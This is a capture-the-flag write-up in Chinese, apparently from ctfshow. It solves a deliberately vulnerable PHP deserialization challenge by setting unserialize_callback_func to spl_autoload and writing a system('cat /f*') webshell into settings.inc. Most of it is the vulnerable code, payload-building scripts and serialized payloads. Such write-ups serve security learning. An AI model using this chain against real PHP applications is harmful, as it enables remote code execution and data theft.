<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-04-22 17:44:48
# @Last Modified by:   h1xa
# @Last Modified time: 2021-04-26 11:30:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
class main{
    public $settings;
    public $params;

    public function __construct(){
        $this->settings=array(
        'display_errors'=>'On',
        'allow_url_fopen'=>'On'
        );
        $this->params=array();
    }
    public function __wakeup(){
        foreach ($this->settings as $key => $value) {
            ini_set($key, $value);
        }
    }

    public function __destruct(){
        file_put_contents('settings.inc', unserialize($this->params));
    }
}



unserialize($_GET['data']);

分析代码可得知,settings可设定配置选项的值,params是在类销毁时,在settings.inc文件中写入的值。

通过ini_set设定配置选项,此处可利用unserialize_callback_func——如果函数名是一个不存在的类,则会以unserialize()的形式来调用该回调函数,函数名是类名。这里利用spl_autoload:

通过PHP手册了解到,该函数的第二个参数如果为默认值,则使用.inc或.php作为扩展名。

该题正好会将unserialize($this->params)的值写入settings.inc中,符合函数要求。因此构造:

<?php
class settings{
}
class main{
    public $settings;
    public $params;

	public function __construct(){
        $this->settings=array(
        'unserialize_callback_func'=>'spl_autoload',
        );
        $this->params=serialize("<?php system('cat /f*');");
    }
}
$a = new main();
echo serialize($a);

运行后得到:

O:4:"main":2:{s:8:"settings";a:1:{s:25:"unserialize_callback_func";s:12:"spl_autoload";}s:6:"params";s:32:"s:24:"<?php system('cat /f*');";";}

其写入settings.inc后,构造:

<?php
class settings{
}
class main{
    public $settings;
    public $params;

	public function __construct(){
        $this->settings=array(
        'unserialize_callback_func'=>'spl_autoload',
        );
        $this->params=serialize(new settings());
    }
}
$a = new main();
echo serialize($a);

运行后得到

O:4:"main":2:{s:8:"settings";a:1:{s:25:"unserialize_callback_func";s:12:"spl_autoload";}s:6:"params";s:19:"O:8:"settings":0:{}";}

因为该类并不存在,所以会包含settings.inc中的内容,得到flag。